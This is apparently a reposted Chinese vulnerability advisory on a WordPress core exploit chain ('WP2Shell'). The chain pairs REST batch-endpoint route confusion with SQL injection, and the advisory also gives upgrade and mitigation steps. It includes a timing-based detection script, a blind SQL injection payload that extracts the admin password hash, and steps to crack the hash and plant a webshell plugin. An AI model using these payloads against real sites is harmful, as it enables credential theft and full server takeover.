文章总结: 本文详析WordPress核心WP2Shell组合高危漏洞,攻击者无需授权即可通过路由混淆绕过鉴权,结合SQL注入时间盲注脱库获取管理员哈希,最终实现远程代码执行。建议立即升级至6.8.6、6.9.5或7.0.2及以上版本彻底修复;暂无法升级时需通过WAF或Nginx拦截批量请求接口路径,开启持久化对象缓存,并排查恶意插件与后门文件。 综合评分: 91 文章分类: 漏洞预警,漏洞分析,漏洞POC,WEB安全,应急响应
【高危漏洞预警】WordPress WP2Shell 组合漏洞链(CVE-2026-63030 + CVE-2026-60137)
飓风网络安全
2026年7月19日 16:25 北京
在小说阅读器读本章
去阅读
一、漏洞基本信息 漏洞概述 本次安全事件代号 WP2Shell,由两个漏洞链式组合攻击实现未授权远程代码执行(RCE),影响WordPress官方原生核心程序,无需额外插件、无需注册账号、无需用户交互,公网可直接利用。 1. CVE-2026-63030(高危路由混淆漏洞)
危害:CVSS 3.1 评分9.8 严重级别
原理:REST API /batch/v1 批量请求接口存在数组错位路由混淆,绕过身份校验,让外部可控参数流入受保护查询逻辑。
2. CVE-2026-60137(SQL注入漏洞)
危害:CVSS 3.1 评分5.9 中危
原理:WP_Query 的 author__not_in 参数未做严格过滤,可构造盲注语句读取数据库全部内容。
影响版本 • CVE-2026-60137:6.8.0 ~ 6.8.5、6.9.0 ~ 6.9.4、7.0.0 ~ 7.0.1
• CVE-2026-63030:6.9.0 ~ 6.9.4、7.0.0 ~ 7.0.1
• 安全修复版本:6.8.6 / 6.9.5 / 7.0.2 及以上
• 利用前提:站点未开启持久化对象缓存,默认安装环境即可攻击。
攻击链路
-
利用 CVE-2026-63030 嵌套批量请求绕过鉴权限制;
-
触发 CVE-2026-60137 时间盲注,脱库获取管理员用户名+密码哈希;
-
离线破解哈希得到明文密码,登录后台上传恶意插件;
-
实现服务器任意PHP代码执行,完全接管网站与服务器权限。
二、漏洞原理深度分析
- CVE-2026-63030 路由混淆成因
serve_batch_request_v1() 批量请求处理函数维护两组数组:
• $matches:合法路由处理器
• $validation:请求校验结果 当恶意构造的第一层URL解析失败,只会写入校验数组,不会填充路由数组,造成两个数组长度不一致,后续子请求路由发生偏移,未认证请求被强行分发到文章查询接口,带入可控参数。
- CVE-2026-60137 SQL注入成因 author__not_in 用于排除指定作者ID,源码仅校验纯数字数组,在批量API特殊调用逻辑下,字符串拼接过滤失效,可插入 SLEEP()、条件判断语句,构成时间盲注,逐字符导出 wp_users 管理员账号密码哈希。
三、漏洞验证 & 利用PoC 免责声明:以下代码仅用于企业内部资产自查、授权渗透测试,禁止用于未授权网站,违规利用承担全部法律责任。 3.1 简易检测PoC(Python,判断站点是否存在漏洞入口) import requests import time
def check_wp2shell(target_url): batch_endpoint = f”{target_url.rstrip(‘/’)}/wp-json/batch/v1″ payload = { “requests”: [ { “method”: “GET”, “path”: “/wp/v2/categories”, “args”: {“author__not_in”: “(SELECT SLEEP(3))”} } ] } headers = {“Content-Type”: “application/json”} try: start = time.time() resp = requests.post(batch_endpoint, json=payload, headers=headers, timeout=10) cost = time.time() – start if cost >= 2.8: print(f”[高危] {target_url} 存在WP2Shell组合漏洞,可触发延时注入”) else: print(f”[安全] {target_url} 未触发漏洞延时”) except Exception as e: print(f”访问异常: {str(e)}”)
使用示例
check_wp2shell(“http://xxx.com”)
3.2 盲注脱库逻辑Payload(嵌套批量请求JSON)
发送POST至 /wp-json/batch/v1,用于逐字节读取管理员哈希: { “requests”: [ { “method”: “GET”, “path”: “/wp/v2/categories”, “args”: { “author__not_in”: “0 OR IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)=’$’,SLEEP(2),1)” } } ] } 3.3 完整链式利用简述
-
用上面的时间盲注遍历字符,拿到ID=1管理员密码哈希;
-
使用哈希爆破工具(Hashcat)破解明文密码;
-
登录WordPress后台 → 插件 → 上传插件,打包一句话木马为zip格式安装;
-
蚁剑/菜刀连接WebShell,实现RCE。
四、应急处置与永久修复方案 方案1:升级版本(推荐,彻底修复)
后台一键升级到以下任意稳定版本:
• WordPress 6.8.6
• WordPress 6.9.5
• WordPress 7.0.2 或最新正式版
方案2:临时缓解(无法立刻升级时)
-
WAF规则拦截路径:拦截所有POST请求到 /wp-json/batch/v1;
-
Nginx临时屏蔽配置: location ~* ^/wp-json/batch/v1 { deny all; }
-
开启Redis/Memcached持久化对象缓存,阻断漏洞触发条件。
方案3:自查已被入侵
-
检查插件目录是否存在陌生恶意插件;
-
审计管理员账号列表,排查新增不明管理员;
-
检索网站目录内后缀为 .php 的WebShell文件。
五、安全加固长期建议
-
关闭REST API批量接口,业务不需要可永久禁用;
-
限制WP后台登录IP,启用二次验证2FA;
-
定期导出数据库备份,监控异常批量查询行为;
-
使用WAF防护,匹配SQL注入特征与异常批量API请求。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:飓风网络安全 《【高危漏洞预警】WordPress WP2Shell 组合漏洞链(CVE-2026-63030 + CVE-2026-60137)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论